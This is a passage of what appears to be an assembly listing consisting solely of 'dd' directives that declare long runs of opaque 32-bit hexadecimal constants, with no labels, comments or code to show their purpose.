		dd 3E0F2C12h, 415700A5h, 0C6498229h, 699B700h, 0CC245BC5h
		dd 2ECA6053h, 0FFD51718h, 0C00A0307h, 4F799Bh, 0F1F0FA78h
		dd 0AAF00Dh, 0FB06755Ah, 1816F5DBh, 0C06E31CEh,	38CF1446h
		dd 48F60360h, 18711FD3h, 0FE0685B9h, 210BCB02h,	0BCF85219h
		dd 0B00E3C68h, 38AA1915h, 0CF7370Fh, 4C59E011h,	80CF25Fh
		dd 48ED4275h, 0F09818F6h, 0BF35601Ah, 5A6EC07h,	80881B2Fh
		dd 0A55592E6h, 0CB075745h, 15B3ABBCh, 248BAC81h, 0F85F7981h
		dd 0C4148F51h, 6001D339h, 1BF18680h, 0A0E29674h, 5AA4E084h
		dd 9978C01Eh, 0BFFBCC80h, 0A12F75Ch, 8CDD94E2h,	0CCE69A0Fh
		dd 0A6FF5875h, 0A165008Ch, 25C9DCA4h, 0AD00A960h, 9B9ED25Fh
		dd 184373D0h, 91F7C082h, 0F3E01A8Ch, 0C5754E1Fh, 0F8190E1Bh
		dd 89C7E9h, 64FE8E26h, 1C38957Ch, 16D8040Eh, 0CC5BAA11h
		dd 48F8EB01h, 8C430F9Fh, 0E2600338h, 0F33A7560h, 94A3C000h
		dd 204F8D84h, 0EA721CD3h, 0AB0320BCh, 0CF27115h, 931006F7h
		dd 28516D54h, 0A9F00A0h, 2040E7Ch, 0C6E274D7h, 54FCAB00h
		dd 51C16851h, 78E68393h, 0DFF1C24h, 0F30370F6h,	16ACC090h
		dd 38F56Eh, 0AE5FEC51h,	42CE319Eh, 110EBBB8h, 0B0408FFBh
		dd 3050F2E7h, 0E61801F3h, 0B0A47275h, 78F1344h,	412D6F12h
		dd 0F4B6E026h, 75605D6Ch, 97749490h, 0E6E4A8D9h, 684CA976h
		dd 0D2002EEDh, 0CDF25F3Bh, 74F2110Ah, 7D0C80F8h, 40581038h
		dd 440F42F5h, 87DCBD03h, 0F406C28Dh, 8CF30C18h,	0A3715BEDh
		dd 0AE5AB124h, 2BCA4E1Ch, 5F87D09Eh, 5ABE64F3h,	0A5824028h
		dd 487350E6h, 0A1927474h, 8CE13054h, 251E4022h,	2FFB004Ah
		dd 60A3A548h, 335FFC0Ch, 3621E5h, 7951A478h, 8930A7E6h
		dd 37242175h, 7D0FC3B3h, 6965ACE5h, 0E83422A3h,	80ACDE3Dh
		dd 20571696h, 0E22BE7AEh, 7F3D00EEh, 7333BD58h,	5C76AC34h
		dd 0DC15CA28h, 0A8198CA2h, 1E604A7Ah, 0A008607Ch, 488A80D4h
		dd 0EDA51C7h, 8A00FE4Ch, 0F281BCABh, 0E6AE9D60h, 0FD86087h
		dd 1F169336h, 25293Dh, 4FA4B15Eh, 24C5FFAh, 196BDDA1h
		dd 2064FB5Dh, 3712CC75h, 5420F2FFh, 51748C95h, 8AF0B848h
		dd 3C9E0A1Bh, 354EE5Fh,	0CA52A55Ch, 31047800h, 0D680AD2Eh
		dd 0EC1700F1h, 0FA72B69Eh, 50C0061Ch, 7F6C9596h, 0DE74C4h
		dd 0C007A2B7h, 5ECC88D1h, 220D5800h, 1F5350E4h,	0C62E0073h
		dd 7F282B95h, 0F50EB902h, 80D25A60h, 99F88E21h,	0F56F65Ch
		dd 0F141232Eh, 5018C803h, 31C28CE0h, 0A609AF0Fh, 9DC64065h
		dd 0DA302Bh, 250CC544h,	55F8C9CDh, 73C09700h, 0A5B95AB8h
		dd 4260E5CEh, 0B65201B0h, 153097Fh, 0D8804160h,	0A1D45094h
		dd 0B5326CFCh, 2074197Ch, 57C612FAh, 2A56B000h,	5E2925A0h
		dd 5F0401C4h, 0E4FA7380h, 77820F2h, 86E0A739h, 7DA55416h
		dd 12A49048h, 42FEC98h,	849D5AA8h, 9EAC0290h, 0B8A0E134h
		dd 356A42F9h, 2722D700h, 0F0FC7315h, 9ACE0EB2h,	41A1C0BEh
		dd 82D8507Ah, 1686C931h, 0D8AE1Ch, 5A832279h, 44633B42h
		dd 6C2A0E9Ch, 10C40049h, 0AAD33EBh, 0FAB84C04h,	0E0CD9574h
		dd 80ECCADCh, 0F44D9780h, 523C5028h, 30E91340h,	0A831DA34h
		dd 20003D56h, 6B37E798h, 13D2B72Ch, 13345908h, 20684C14h
		dd 18B2D651h, 0D05C9950h, 3C107158h, 0B076AAE9h, 0E50EB077h
		dd 0F6CD05h, 5F613972h
		dd 0EA0630A5h, 64F4D748h, 29D80554h, 0E6343618h, 7DD45F51h
		dd 23080086h, 462B7B22h, 0D52459F7h, 0E011C8CEh, 20D43528h
		dd 20FF5A0h, 0A53EFE37h, 880ED0A8h, 0F1291888h,	0E5C420F2h
		dd 0D03352h, 56F57631h,	6AB291h, 901C108Eh, 29AE30EDh
		dd 0F78BB907h, 8C01AB61h, 0B883F9C6h, 7AE55B33h, 0A3EC9084h
		dd 0CE03961Ah, 0D03726F8h, 6C57C133h, 7030D424h, 78DA60EAh
		dd 0FD0FA85Ah, 2F0B154h, 36FECF01h, 49B601Ah, 0CB8030BAh
		dd 434AA1EAh, 11288493h, 30B09054h, 64B6810h, 63BC5200h
		dd 4DFD5C93h, 0C0B620CAh, 43F1C91Ah, 6611BB10h,	49192869h
		dd 64C21816h, 0D7427844h, 44746CC8h, 0A000077Eh, 198E835Ch
		dd 26E230D3h, 80870h, 0CA29B709h, 40C1EAF0h, 712D8C0Bh
		dd 34B55893h, 56B8011Ch, 0D047D4C1h, 772868C5h,	5B299459h
		dd 0F20C8CF6h, 73A13104h, 0BE256033h, 0E6AC9E42h, 917F7730h
		dd 2C2DA6A3h, 3803D59h,	0DC34B3E8h, 0E9A4B90Eh,	0EB1B6005h
		dd 7F4E1785h, 60FD0038h, 6C0B5F2Ch, 0A0D65D99h,	0EFBC5C04h
		dd 0DA18AC10h, 0F278E0BEh, 19DF3430h, 82BD025Ch, 0F9D89402h
		dd 0FF849F00h, 90FC9243h, 33D144F4h, 59AAA11Ch,	20528549h
		dd 8C0C9E6Ch, 0CC7441A5h, 66286CFAh, 6DEAC443h,	33FE00EFh
		dd 0F1C02AABh, 0FA393A88h, 2BFB1501h, 30210C8Bh, 1D406830h
		dd 745E1238h, 0C090219Fh, 0FE399FF2h, 20BB470Fh, 75788160h
		dd 385600E7h, 0C3862E79h, 195C43CDh, 0D49E38A2h, 0F80CE87Ch
		dd 6039EFA0h, 51A86BC9h, 40113404h, 2A99D133h, 73051629h
		dd 8FA43026h, 2B03D0BBh, 6C3632B3h, 68A0DFFDh, 1878576Dh
		dd 5181C011h, 0F8504DE7h, 7E8879E8h, 0C019E647h, 0F6FA8778h
		dd 2B639098h, 36C010h, 4C4DEC39h, 0E7468CFFh, 847AACA0h
		dd 0F4EA6CF6h, 6650B1EAh, 370871A4h, 860F5D1Ah,	0C112165Fh
		dd 0BCDDB013h, 0D422EB00h, 48A2AC0Bh, 2F10A4B8h, 3A0401F1h
		dd 11705B7Bh, 0A0E9A130h, 0FE9A10F8h, 0E0AC30E2h, 0FA71410h
		dd 5846FA33h, 60198804h, 646F7158h, 0A4BD481Bh,	3B1C515Ch
		dd 2300866Eh, 9BB5DFB3h, 0AD4813ABh, 0FE140097h, 6013ACA8h
		dd 1C355679h, 80004005h, 592F3A3Eh, 0E52D0878h,	90A0A37Ch
		dd 20208020h, 3525E8A6h, 0C20C20D1h, 0E78AB6h, 4CD980E9h
		dd 4DC60487h, 0BF13517Bh, 54159E5Dh, 1CD3225Ch,	82FBD158h
		dd 1D162025h, 0A9AD98A0h, 4E41B9Ah, 15182CEEh, 60305976h
		dd 0F73E288Dh, 0F40A9C4h, 0EFD0B013h, 120010FEh, 405E16B7h
		dd 3219882h, 755CB28Ch,	3802CED2h, 8D5AA1A3h, 0A624C88Eh
		dd 295C139Eh, 98702356h, 0D0E85867h, 0D188EAC1h, 4454C024h
		dd 0F54C0E5Ah, 0F109DF6Ch, 6CD84975h, 0E43DD851h, 4D5E994h
		dd 0D02A7CE2h, 0E12CC04h, 40D900B0h, 0C2107A62h, 9048178Ch
		dd 0B607B08h, 0E8983904h, 23A4A0h, 380E9258h, 0F117FEAAh
		dd 498EB30Eh, 8CAE2F7h,	0AD6082EFh, 78FC4448h, 34654C94h
		dd 0A8CF9C49h, 4999FC4Ch, 6C73CB00h, 0F1D7F850h, 5C0BE8FBh
		dd 160AE860h, 0D930FF2Dh, 7F511061h, 0CBB504B2h, 0C0589023h
		dd 0E0912A8Ch, 549E820Ch, 4EFC2975h, 3E40000Fh,	0F64FD22Bh
		dd 351D0C1h, 28446309h,	8C90B40Ah, 0A8AD9D85h, 8C045C95h
		dd 58D1B768h, 848BB5Ah,	85B8A4C0h, 3C583EACh, 5AA24080h
		dd 28EF82BDh, 54960C8Ch, 1DFB797Dh, 0D95156A4h,	600321FEh
		dd 59C1F96Ah, 7C96A3BAh, 70F81850h, 983A594Bh, 0A076309h
		dd 4062AC04h, 0D0F5BB9Bh, 18B005Ch, 0A76B931Ch,	0B199517h
		dd 43C02BD6h, 0BB384182h, 2048F016h, 0D61599B2h, 2A8124Ch
		dd 7B273E5Eh, 50C861B4h, 22659842h, 1610D27Ah, 38A944C0h
		dd 0DF6026EEh, 18281C50h, 0B271A3h, 0CCA17CA5h,	0BD8D793Eh
		dd 46FD2700h, 9F4FD0DBh, 0FCB005h, 0AC52C8D6h, 58D23EB2h
		dd 184ED900h, 0A178BF92h, 0D77574h, 0CFBDAA54h,	1E4F3C30h
		dd 10ACBE07h, 0A370CE0Ah, 37A56C5h, 52D83EB1h, 404C41CAh
		dd 6D960120h, 0B854C4A9h, 13B1E0h, 0C5207333h, 0C14E534Fh
		dd 0F1FDA3E6h, 0E480FFACh, 372CA652h, 82380A18h, 0C4DB6D97h
		dd 8DC0445Ah, 0F8EA5704h, 0C6C09680h, 90A96F91h, 0ACE6D8h
		dd 7B331BB3h, 5E4D8BD3h, 4C72F300h, 7A1CC5D9h, 3E9FC86h
		dd 6205D757h, 4003BF8Eh, 158DA171h, 13C5B8BBh, 2076002Ch
		dd 0F23060B7h, 16794BCDh, 898A3700h, 0D64ED539h, 0BC184009h
		dd 0A67EAF10h, 40C6AD1Ch, 204F3226h, 4A3A44C1h,	14571D0Fh
		dd 0C5BE1CC7h, 0A7368099h, 1936248h, 6AAFCDF5h,	0D6248DCCh
		dd 40260160h, 22E13898h, 9CA0EB94h, 9B00B5BBh, 53BFA778h
		dd 0CCC6AAh, 20503213h,	4E3048C4h, 0D900B17Dh, 90C052CAh
		dd 59D249h, 957D370Bh, 7CAEBDBFh, 0C81A39h, 29B3B479h
		dd 0ECE93C33h, 1230156h, 6DEB88B6h, 3D82D402h, 1F5CE70Ch
		dd 10B94005h, 7F99BBh, 0CA877928h, 1C3C3413h, 434CD0D3h
		dd 0DE8AC9F4h, 0AA7A2EE0h, 49E7391Dh, 5F6437C0h, 4A5BB8Dh
		dd 3EBD1A6Dh, 341501B6h, 8C66D80Ah, 5923F0ABh, 78B2399Bh
		dd 0BFCC7483h, 0B9C1A921h, 0CC0AC120h, 56404DE0h, 0CFA2005Ah
		dd 3186AC2Dh, 0CA00559Ch, 0B2991832h, 343AEB1h,	0B41AD0AFh
		dd 40E0C9B6h, 0CF0EDB78h, 80105F85h, 2BC1D28Ah,	0FC8275BCh
		dd 0EA71F58h, 0C6BDC063h, 0B9A57A96h, 0BA0E1160h, 7BFD3Dh
		dd 2950DA20h, 0D88AC7F1h, 0B952BE0Fh, 56D7E0ABh, 1641D6h
		dd 91C0A85Fh, 15CB1A70h, 8081B501h, 254A322Bh, 0B02D85F4h
		dd 0A74144ACh, 0E6338A05h, 8824195Ch, 0C0FE046Fh, 8A4E19A1h
		dd 341100C0h, 6A2586B7h, 0D5298794h, 56342Fh, 41B48B3Ch
		dd 3887B020h, 868A6C00h, 0F76324F5h, 80AE131h, 1FF9AA16h
		dd 1B450FB4h, 2BEA0031h, 4194A1BBh, 8B7F191Ch, 80ED0811h
		dd 0BB23D821h, 70FA24h,	36B809BAh, 0B28C99DDh, 94F57409h
		dd 1750D254h, 0D03306E3h, 0D83892F4h, 8082EB3Fh, 0A456644Eh
		dd 9253FE3h, 9F50F670h,	2A1208D8h, 8CA2C373h, 0C11CFB0Fh
		dd 40F99FFDh, 0D7D02FA5h, 0BD2F5287h, 0DEC00F5Eh, 0C27AE002h
		dd 8C5658h, 0B30B410Ah,	0C0275AA6h, 9F4868CBh, 0DC0E006Ch
		dd 30FED31Bh, 7B532DAEh, 5B09201Ch, 74C8408Dh, 10734AE2h
		dd 0A103797Eh, 8AB1AB43h, 0CD4580C9h, 0ACC22FF9h, 959D6001h
		dd 58272B0Fh, 6AA16481h, 10F7A106h, 0D2227BE6h,	0B9ECF099h
		dd 0E555640h, 592DFCC1h, 0E8975004h, 0B4814EACh, 0DC48D757h
		dd 2D048C4Fh, 1194ABBBh, 0CA20E662h, 5D4BB25h, 0F2A4D8ABh
		dd 0F89C07F6h, 2F611D98h, 6F56B030h, 0D41E40ABh, 1880D730h
		dd 4BDC0351h, 1FDCD0BDh, 2A0156A5h, 0D1F7AF71h,	8BFBF80h
		dd 0AD3921E0h, 2A000456h, 0C981DB28h, 0A7482CCh, 0F5ECEA11h
		dd 186C9E98h, 0A38FF852h, 8696B139h, 0FA5F1A1Ch, 0C9EEA49h
		dd 7BD125ACh, 0B17089A1h, 0D7380F00h, 1AF3CD90h, 0F2C3048Eh
		dd 0A94D5498h, 7B037344h, 9E994FF8h, 0F67FD8AFh, 86852702h
		dd 30226463h, 0A7270132h, 6065AEE4h, 5635FC9Eh,	3F44C500h
		dd 8DB1AD50h, 1AF89Ch, 0B466A108h, 0A3A55360h, 95903802h
		dd 0A3D8280Bh, 0E063FF94h, 0BF64192h, 0FEFBF1DFh, 80697CE1h
		dd 92DCBE21h, 1F3BEDA6h, 424733Eh, 0EC5AF963h, 34E20AC4h
		dd 950590F0h, 5423F491h, 33AA813Fh, 0F5DC402Bh,	60B04044h
		dd 165F540Bh, 0ECACE158h, 45142180h, 6FC93740h,	2147A50Fh
		dd 0F1E2003Eh, 1206FE55h
		dd 0F2F3053Ah, 1DB00058h, 5B7F3397h, 0F0EE1CFCh, 3B033FEBh
		dd 7841B32Ch, 122F123h,	0F64392ADh, 886C18AFh, 923AA6C0h
		dd 0AB9C8052h, 0E529C40Fh, 0BD3012BEh, 0DA2C08D7h, 0F156ABC3h
		dd 718BF71h, 0B33F88h, 6C43E856h, 2173CF61h, 120CA0A0h
		dd 20D5BD20h, 0AB53DC54h, 31E4A298h, 0F90FEC91h, 78C81F4Fh
		dd 0E21288F6h, 1CC0D04Fh, 12865351h, 0F2D319B2h, 0FF2658h
		dd 6CCDC2h, 2807F585h, 40789295h, 2D4E6Bh, 6BDED7C6h, 6245E8A9h
		dd 3E612000h, 12C43579h, 0DCB601A3h, 48F67E5Bh,	804241Dh
		dd 0F28E8D13h, 3050C8E0h, 0D8180D4Fh, 42F9FA0Eh, 78105E5Ch
		dd 0ED2C20CAh, 0F5CD9503h, 4E79774h, 0BA8560F9h, 80F4FD13h
		dd 0C418B044h, 0C85A32B3h, 48660669h, 8A29EF61h, 0E020AFA2h
		dd 0DCC30958h, 0B404D6A5h, 0A0F601E1h, 3802114Ch, 4420505Ch
		dd 635D8C13h, 96ECF4B1h, 9D48A0EBh, 3B12417Ah, 77502827h
		dd 95C740h, 7D440761h, 4269BA4Fh, 5A39D860h, 0F4EA3C6h
		dd 0E0F7F466h, 492E7506h, 0D24D4BE0h, 0EA09BC64h, 24180090h
		dd 0A1E15086h, 0CA09FA71h, 84790E1Ch, 2F6049C8h, 9423A5BBh
		dd 0EE71121h, 60BB27CCh, 39D05946h, 52D6240Bh, 1465E84h
		dd 8078B41Dh, 1F64DFC4h, 59596C16h, 0C2747CC0h,	334B4CB2h
		dd 0BE5E9890h, 4A18EA81h, 0A5D8C8B6h, 0AC469490h, 0AA405E02h
		dd 0E3316460h, 40471E10h, 38001474h, 3A4F999Bh,	18CF5h
		dd 0C2C5A91Ch, 0DF68F666h, 0D6FCF450h, 4242A52Dh, 2E2041C4h
		dd 9208A918h, 0C48FF65Fh, 0A2BC4067h, 1DCCD92h,	504A2874h
		dd 0DD8963E5h, 0FA6C409Eh, 61D20284h, 6F419802h, 60AE246Eh
		dd 26A44048h, 70003460h, 40004918h, 35804E1Eh, 2DF594Bh
		dd 8CF95B04h, 60D61D3Eh, 1F0F1488h, 29D924FAh, 0F30708C4h
		dd 448E567h, 0F8E18C93h, 0F86003DCh, 7D04A370h,	6E752728h
		dd 9EBAC860h, 61256416h, 33300444h, 9701C4FDh, 0C02DA328h
		dd 86002409h, 9ADE1F00h, 0AF262129h, 0D63901B7h, 6355793Bh
		dd 0E8D0E14Dh, 0A300502Fh, 4E0F27DBh, 0B84238AAh, 715A7F60h
		dd 0F4C929Eh, 0A5EC5FA1h, 571D522h, 324F24E4h, 0B6593090h
		dd 67575h, 203B5028h, 7442AB21h, 0CA549003h, 1B8852h, 4CC85668h
		dd 324E0EDDh, 5F41DE60h, 39A5720Ch, 0AD99F178h,	72BD882Dh
		dd 33E7F264h, 0F003CBAFh, 0CF97B410h, 80D9D064h, 0DE5AB874h
		dd 33000093h, 0D6E915A3h, 463C90D0h, 92AF0224h,	31BFF65Dh
		dd 0A8BA1062h, 0B3720092h, 0C691DDA0h, 0B90EA1CEh, 10531A8Bh
		dd 0F4488C59h, 0B26F5913h, 0D1C40C88h, 0A4496Dh, 78C116E8h
		dd 298B134Bh, 395E8400h, 69C7A66Bh, 38D303D4h, 0E140C27Bh
		dd 0E60BC804h, 0C4D2377Ch, 310C40A9h, 7041816Ah, 0F744A8DCh
		dd 0B368A08Eh, 0D1291A08h, 78173989h, 50816711h, 0D0E87A36h
		dd 0C4036356h, 5768F8FBh, 25703D2Ch, 5F2D1CF8h,	11E0AEFCh
		dd 6F510735h, 74856309h, 381050B9h, 0C4A22CDBh,	0EF4674h
		dd 9C2B3E7Bh, 1201B5A2h, 7040283h, 38BC98A0h, 13A6E600h
		dd 972855ACh, 493A482h,	0F4CB5204h, 69C004C8h, 7631851h
		dd 7E1E91D8h, 0D802D979h, 1E2EFAE3h, 0C90034E4h, 0D554949Eh
		dd 16B8997Dh, 0DD6C3110h, 84F70D5Fh, 0C2133500h, 28C7EB68h
		dd 42F0A543h, 265238F9h, 10E09E04h, 0EAFE0403h,	0A80CE6D8h
		dd 0AE3D2DE8h, 0D1E165C0h, 8A0000ADh, 4323A40Ch, 0B00EBD69h
		dd 0E26D04BCh, 61EB55A9h, 136E30F4h, 41EC2178h,	0DE606059h
		dd 24A4686h, 94A8BB2Ah,	17EE3129h, 48BB2230h, 4B8F5h, 9D91F8D7h
		dd 588FDB05h, 10E29312h, 76D0B882h, 20340888h, 3500DC28h
		dd 7A52A581h, 609D6493h, 0C40EF077h, 75165B21h,	0D8F0E0A0h
		dd 73A8069Eh, 0A80258EAh, 0F449098h, 0AF693DFCh, 66148B00h
		dd 63121D78h, 7764F206h, 0B081293Fh, 0FBD6256Ch, 5F22F824h
		dd 17DA7506h, 0B1F30418h, 0A190018Fh, 3E7040FCh, 0E83D26A3h
		dd 9F749638h, 0BD603420h, 4EE40A2h, 0C0136827h,	0CFF3C07Ch
		dd 0A780AB99h, 0EB7B426Ah, 864A330Eh, 267380CEh, 0F1B05CA0h
		dd 368043Bh, 0A45098A1h, 71355608h, 410BC487h, 5356AC36h
		dd 982B030h, 0E0E271A8h, 951DB020h, 9F126E6Ch, 48805B54h
		dd 155C044Fh, 0A8FE755Fh, 9E1D180Ah, 784BA708h,	0ECD025C1h
		dd 0D49013F0h, 4202B046h, 4460AE40h, 1210F031h,	0AF00404Bh
		dd 0C141DEE7h, 5C9EE1BCh, 0EEBC88BDh, 4D6B008Ch, 0E3FB6A3Ah
		dd 0B1EC9694h, 68638A02h, 0D4095358h, 83413FCh,	0B0C0236Ch
		dd 43F65E92h, 0A1B98187h, 0A0601392h, 95480EF6h, 9BA0AF83h
		dd 0A6F065ADh, 0C14F88B0h, 194D7C80h, 0C81F5CD7h, 1E8C05E8h
		dd 9E63AFDh, 6C284183h,	80DB11F4h, 712F56A6h, 6458CB7h
		dd 6E56B700h, 152B0095h, 0BA8F755Ch, 0BC96F5E8h, 26B465Eh
		dd 0F0AC15C3h, 0E1A84B39h, 0C200F33h, 0F0EA412Eh, 0A44F9C4Eh
		dd 261408CCh, 4068E273h, 0C7F5D1B2h, 0DE59040Eh, 54F1A3FEh
		dd 464DB894h, 53B505C8h, 0CAAD6013h, 0F2723F4h,	0F6E592A4h
		dd 0BD5828A7h, 0AB92A501h, 0DD7D13B8h, 0FE56A200h, 12F75517h
		dd 544BEC29h, 2CC0EE88h, 0BF291CAh, 5FAD6C94h, 20DBD811h
		dd 7033AE34h, 0A598A02Ch, 20048452h, 0CD00E312h, 83CA5946h
		dd 94DA3633h, 0F69DC124h, 900A83Ch, 0FF0ED44Ch,	78CBD27Dh
		dd 0C0B8D233h, 7C750B7Eh, 91A095EEh, 342DA174h,	8340041h
		dd 0C1C79285h, 0B348F848h, 76F83907h, 4047048Ch, 8E3C60A3h
		dd 501500C8h, 759F4140h, 29F7144Fh, 2A78A460h, 1EB470D1h
		dd 80BEB0D0h, 49E4F3EDh, 0C60FAB39h, 0E0B20356h, 0F7E8CB31h
		dd 51FE1260h, 0DA388058h, 144AA28Ch, 2C337444h,	0F7FA04E4h
		dd 0F284A214h, 4E2030E3h, 8314D02h, 480DBDE5h, 7F29484h
		dd 88C2AE96h, 89536092h, 38E31354h, 96C68008h, 1BFE324h
		dd 7C59564Ch, 601D36E1h, 7C9C8694h, 27EC9842h, 0C8040B0Bh
		dd 84C2245Eh, 204DED4h,	50F15C9Dh, 0F4A36002h, 543F402Ch
		dd 910094F4h, 8B52E9F9h, 9E795A8h, 0F7AA9D60h, 0F8480C68h
		dd 3485D680h, 8E181ABAh, 0C0668858h, 0BF6526BCh, 944DCE2Ch
		dd 20D1F912h, 28936316h, 4CB40804h, 0A2BB2CC0h,	22394694h
		dd 24D70FE4h, 660EEBBh,	64F5C356h, 0FCCA710Bh, 51B00204h
		dd 0A46C51DEh, 597DD680h, 901ACA27h, 20E27298h,	8CB0FD68h
		dd 6503359h, 0E49774FCh, 0A974A171h, 40795D18h,	0C06C6021h
		dd 0C8404613h, 4205BCE0h, 0F90EDDBEh, 2F9D70C8h, 80E05D84h
		dd 0AC4AE22Ah, 3443AC06h, 79209371h, 3F54C06Dh,	0EB5AAB17h
		dd 80D10C08h, 4390A133h, 41058037h, 4F7BE532h, 70F8E841h
		dd 14740163h, 0E4B0A726h, 59876002h, 15B200E9h,	0FA82A1F3h
		dd 0FD489284h, 89830434h, 7082B9D4h, 0C2552014h, 5CB8D1FFh
		dd 0B117A20h, 98541AB6h, 0F80F00A2h, 0B81D2044h, 0DDDFCB5Ah
		dd 91109D2Fh, 6E4480E2h, 500D7235h, 8256C40Ch, 0E214C482h
		dd 0A9540B01h, 0D8A8097Fh, 0D7394C90h, 59C09F00h, 2E0CCBB6h
		dd 228700E2h, 4CA86529h, 35051475h, 976F6048h, 165228A0h
		dd 0B4C62EBDh, 62051A4h, 0CC0E007Eh, 834A382Ah,	4159DC52h
		dd 57218F70h, 0C23C02Fh, 76C3251Fh, 4B2D3B67h, 5AC82048h
		dd 0E60339DBh, 0ECE393DAh, 0F736D80Ch, 47B8002Eh, 0F59B27B2h
		dd 46E63D17h, 7F791E16h, 6E648500h, 0BF78E687h,	10DBF499h
		dd 2588C4h, 5E56CBF1h, 0ECF24A6h, 737D7F02h
		dd 410570EAh, 0BC66ABDCh, 0F0BCC85Eh, 1F55EA00h, 925D0733h
		dd 4C860032h, 93C63ACBh, 30BB8261h, 5AA2AE01h, 2CDFBE85h
		dd 4E8A548h, 0A59974D0h, 0A67CC080h, 0E454F04Fh, 15B6102Ch
		dd 43D42864h, 83318027h, 5CCAC02Ah, 8BA8D701h, 0C1E4C85Ch
		dd 0CDDFBED6h, 0D868A64Ah, 856C9E02h, 0C7886A67h, 6066448Ch
		dd 2CAA550h, 51699681h,	0D8E26D53h, 5500E4D1h, 0A29B87C8h
		dd 0BDFE071Ah, 104EA305h, 3DB428EEh, 51B1A51Fh,	0AE80B0ACh
		dd 2BACA346h, 6A90BA59h, 1134212Ch, 6A0296A7h, 4797712Bh
		dd 0AA3C03F4h, 3F808256h, 201DF019h, 0FF85EFFAh, 8C401416h
		dd 0B2E838CDh, 7B8C0B93h, 38021F7Ch, 0C800EA56h, 5EFF88Ah
		dd 0A560AC9Fh, 0A34493EEh, 68BE33F8h, 4930A207h, 5942AAA9h
		dd 50B4E2B3h, 2200A098h, 98F880C6h, 80F9D025h, 1F39A3DCh
		dd 30BF4CDAh, 0CD0B0822h, 0E2B4EAFFh, 46F00458h, 0A4BB3660h
		dd 45499425h, 2ED1834Ch, 0BFAAD0BBh, 0A728A057h, 1EE08D6Fh
		dd 423FE2EDh, 0F110FAB7h, 0F5826071h, 5457356Ch, 0EDB888ACh
		dd 122DD6Fh, 0F6EA5AB1h, 99307F70h, 0F8B038C8h,	0AC4C2838h
		dd 24525D14h, 22E0437Ch, 2C10BD68h, 0BC0EAA18h,	43481A08h
		dd 104C6B67h, 406A050h,	6015649Dh, 0CDD0821h, 2FC1D7B5h
		dd 56A238Ch, 0A434CA7Dh, 2A0509A8h, 1B59CCD0h, 0E385C8C4h
		dd 88E8C88Ch, 0A0C9A07Ch, 7058FCh, 0B8578FAAh, 0FAF94950h
		dd 2009CC4Eh, 48A48EABh, 486567E6h, 0A0083016h,	548B05D9h
		dd 162CEC9Dh, 642243FAh, 56A830A5h, 0A7712912h,	3A0070CBh
		dd 5A5F56B0h, 0BD52A898h, 3F230EFCh, 9713039Dh,	71D899B4h
		dd 0F5378050h, 2F750780h, 0E0D978CEh, 2B62A563h, 0BBF3C14h
		dd 83A80754h, 0A08E8C14h, 7239AAE0h, 0C7CB0h, 5F7E27D0h
		dd 0FE422F90h, 2949827h, 3FD2DCh, 0FB74C85Ah, 0EA8D080Ah
		dd 560484EFh, 0C4A0FC97h, 4CC8F85Ch, 258A7CAFh,	92A2C0E0h
		dd 0D746F648h, 431D6522h, 0C90092DAh, 85D00D9Ch, 0F9602CD6h
		dd 1E370864h, 9DBA0209h, 8B6F1164h, 1A504153h, 7F396000h
		dd 0ED204490h, 4E0E2C5Fh, 56C701ECh, 4214636Fh,	0D91A6168h
		dd 186859C8h, 0BBC10039h, 0EC77C43Ch, 0FD4A0F40h, 641D7C90h
		dd 785E402Dh, 1FAA7E5Ch, 0E8F421CFh, 6FBC98A8h,	0F6FC8Ch
		dd 0C40ED1CCh, 0CEBD5122h, 0CB581A48h, 65ACA914h, 6005E4B8h
		dd 0F9ECD68h, 1FA48AB1h, 55196383h, 0C501C073h,	0C27BBCE4h
		dd 0D06CFE84h, 0F0AEF388h, 6F465Eh, 0A069C546h,	10C69A6Bh
		dd 1A74196Ch, 1D599FD8h, 83681194h, 0D0A15171h,	4CBF36Fh
		dd 0C0CA73AFh, 0FFF0A42Bh, 18F07289h, 0E0CAC29h, 3A27F5CEh
		dd 9046AD09h, 9140413Ch, 0EA884C60h, 404A1780h,	0F4547002h
		dd 1E29022Ah, 0DE961A1Bh, 0DECB5061h, 4133FF10h, 20206CD7h
		dd 14989061h, 0B00E0878h, 50CDC84h, 88C9A074h, 28F2D060h
		dd 18C4D2BCh, 412D6C93h, 0A009F860h, 0E7714D16h, 60EA4410h
		dd 0B036BAAAh, 6DE50153h, 0A508ABB3h, 20002BB2h, 80F74A99h
		dd 0D751259Eh, 88803059h, 0BB535AD1h, 1B5F19ECh, 0C422191Dh
		dd 0FC1F01B3h, 4D40396Ah, 3DFE50DEh, 7716008Bh,	83432AAFh
		dd 0D74AE12Dh, 48E214E5h, 0FCA5B300h, 3B4C985Eh, 0A380C15Ah
		dd 0F3C55625h, 6492733Dh, 1AAD5F0Bh, 415C9155h,	48F8FAE2h
		dd 9E2FC3A4h, 2006EC84h, 0C0F4C0AAh, 0EC843D31h, 960FFE82h
		dd 22475F7Bh, 44D1C9A7h, 782F0058h, 684E8B46h, 6E00C50Dh
		dd 5194B265h, 2A59CEEh,	61706460h, 0E459A39Eh, 0F918EA79h
		dd 0A404AE7Fh, 3D7E9DA2h, 0A80080A2h, 86ECA03Bh, 66583128h
		dd 298E04BAh, 80E65261h, 6729C4F0h, 40CD9004h, 0C8B9D89Dh
		dd 0AF196100h, 8F2F457Bh, 237F8C01h, 33F7FA22h,	0D900043Dh
		dd 56CF699Ch, 0AD909A86h, 672EE976h, 0E8A03083h, 0FF68040Ch
		dd 28101Fh, 38AD2B73h, 47F21579h, 9468A05h, 0F4E09963h
		dd 5583094Fh, 60144228h, 4656FC9Ch, 23D000EEh, 0B78C9014h
		dd 3E833882h, 937EFE81h, 2251C184h, 0FFC408B4h,	0A5E420Dh
		dd 4B604CEFh, 78FB19Ch,	959D589Bh, 3B35C1A3h, 0DF70165h
		dd 0FC766C11h, 749AB58Ch, 0ED8FFF03h, 90F84B25h, 4FE27559h
		dd 6CA444F0h, 9D5C001Dh, 0F8E87397h, 29261804h,	0F935848h
		dd 0DAC46B89h, 0FA731722h, 0FBACC770h, 0E2745498h, 999DAE73h
		dd 5428BDE0h, 2C8CEEB8h, 3902E4h, 8724DF37h, 5418F35Ch
		dd 5F6871A9h, 682E01FEh, 38FB0E0Fh, 0C0D893E4h,	0FACB2090h
		dd 0F19100DCh, 84B8E75Eh, 780053A6h, 3BC50628h,	1C6E401Ah
		dd 26C27169h, 4AD9784h,	21F602CCh, 72100554h, 74B5CEAh
		dd 44F998E4h, 964B746Bh, 4C5F88A4h, 0A5B3C0E7h,	0BCD8D95Ch
		dd 81008CE2h, 0E30CD687h, 54A18C96h, 89F43C74h,	0E020663Fh
